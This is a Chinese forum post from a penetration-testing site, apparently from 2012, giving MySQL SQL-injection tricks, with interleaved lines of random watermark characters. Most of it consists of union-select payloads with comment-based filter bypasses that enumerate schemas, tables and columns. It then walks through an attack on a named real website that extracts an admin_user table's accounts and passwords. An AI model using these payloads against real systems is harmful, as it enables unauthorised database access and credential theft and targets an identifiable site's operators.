中国网络渗透测试联盟
标题:
mysql注入技巧
[打印本页]
作者:
admin
时间:
2012-9-13 16:29
标题:
mysql注入技巧
查库
% ?4 d5 i6 Q6 c
' ]9 F1 N1 p- S& s2 F6 q5 l
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
o: ?& D" _7 E& y0 o% y
& [( t9 n2 w+ i
查表
' w# V5 }# ^9 D% n
4 k, ^" P% V2 _; ?& |- V! R0 j
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
4 w5 U3 Z' C4 a. R
, P1 p( T+ E3 Z Y1 S" E& S
查段
8 T5 ?- y! a L1 E& Z: @- F+ k0 T
: u( ?, b8 w" P/ k, q# B" p
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
) i+ s4 g0 l+ w6 `1 V$ \ Y: P
6 G! _/ K0 F4 W4 v' C3 [
8 c: s1 G2 p# H% g1 L7 H- u5 S
mysql5高级注入方法暴表
- n% {8 N2 {, @1 _: v! ~# e
F8 X2 g& m4 e% {1 e, |
例子如下:
% {! L* [& @/ ] p$ B% l
* l7 p8 ^2 y' `0 b% Y- S
1.爆表
6 q+ M3 l. B i0 b1 h
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
6 i" \$ A* N( l
这样爆到第4个时出现了admin_user表。
5 u( P' K' L2 ]+ n' D
: W3 z" r' g! m/ t) R4 K
2.暴字段
9 A* S) c& d* H7 z0 b+ i8 x! C
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
9 Q4 g, S* I( N' {7 d
/ k, W% I) U: z4 \- G! C
4 w( V& ~0 ^* ^- L! `/ W8 k
3.爆密码
% G6 f3 N- ?3 m3 d/ m& P( U: r
http://www.political-security.com/ccaus_content.php?ccausid=13240/
**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
/ [4 @" }" C8 U$ E- {
+ I/ Q5 N- m) f8 d2 u8 Z0 D+ M
! j3 p& J5 k- a6 q
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2